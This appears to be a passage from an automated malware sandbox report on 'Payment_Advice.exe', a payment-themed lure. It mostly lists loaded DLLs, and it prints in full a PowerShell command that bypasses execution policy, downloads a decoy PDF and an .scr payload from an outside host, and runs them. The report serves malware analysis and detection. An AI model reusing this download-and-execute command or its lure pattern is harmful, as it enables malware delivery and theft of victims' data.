Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: mscoree.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: apphelp.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: version.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: uxtheme.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: wldp.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: amsi.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: userenv.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: profapi.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: msasn1.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: gpapi.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: windows.storage.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: mscoree.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: version.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: uxtheme.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: windows.storage.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: wldp.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: profapi.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: rasapi32.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: rasman.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: rtutils.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: mswsock.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: winhttp.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: winnsi.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: secur32.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: sspicli.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: schannel.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: mskeyprotect.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: ncryptsslp.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: msasn1.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: gpapi.dll
Source: C:\Windows\Temp\hadvices.scr	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\Payment_Advice.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Payment_Advice.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Temp\hadvices.scr

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Payment_Advice.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Payment_Advice.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: Payment_Advice.exe, 00000000.00000002.1199149404.00000000057B0000.00000004.08000000.00040000.00000000.sdmp, Payment_Advice.exe, 00000000.00000002.1198385946.0000000003011000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000017.00000002.1414670213.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \/.dll.pdb source: Payment_Advice.exe, hadvices.scr.4.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: Payment_Advice.exe, --j.cs	.Net Code: LoadLocalizedGrammarFromType
Source: Payment_Advice.exe, --j.cs	.Net Code: LoadGrammarFromAssembly
Source: Payment_Advice.exe, --.cs	.Net Code: CheckAssembly System.Reflection.Assembly.Load(byte[])

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'"			Jump to behavior

Source: Payment_Advice.exe

Static PE information: 0xDD330B0C [Thu Aug 7 15:51:40 2087 UTC]

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 2_2_0040A3D2 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

2_2_0040A3D2

Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_00414426 push cs; iretd	2_2_004143FA
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_004145D6 push ebx; ret	2_2_004145D7
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_00414324 push cs; iretd	2_2_004143FA

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\hadvices.scr

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\hadvices.scr

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\hadvices.scr

Jump to dropped file

Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
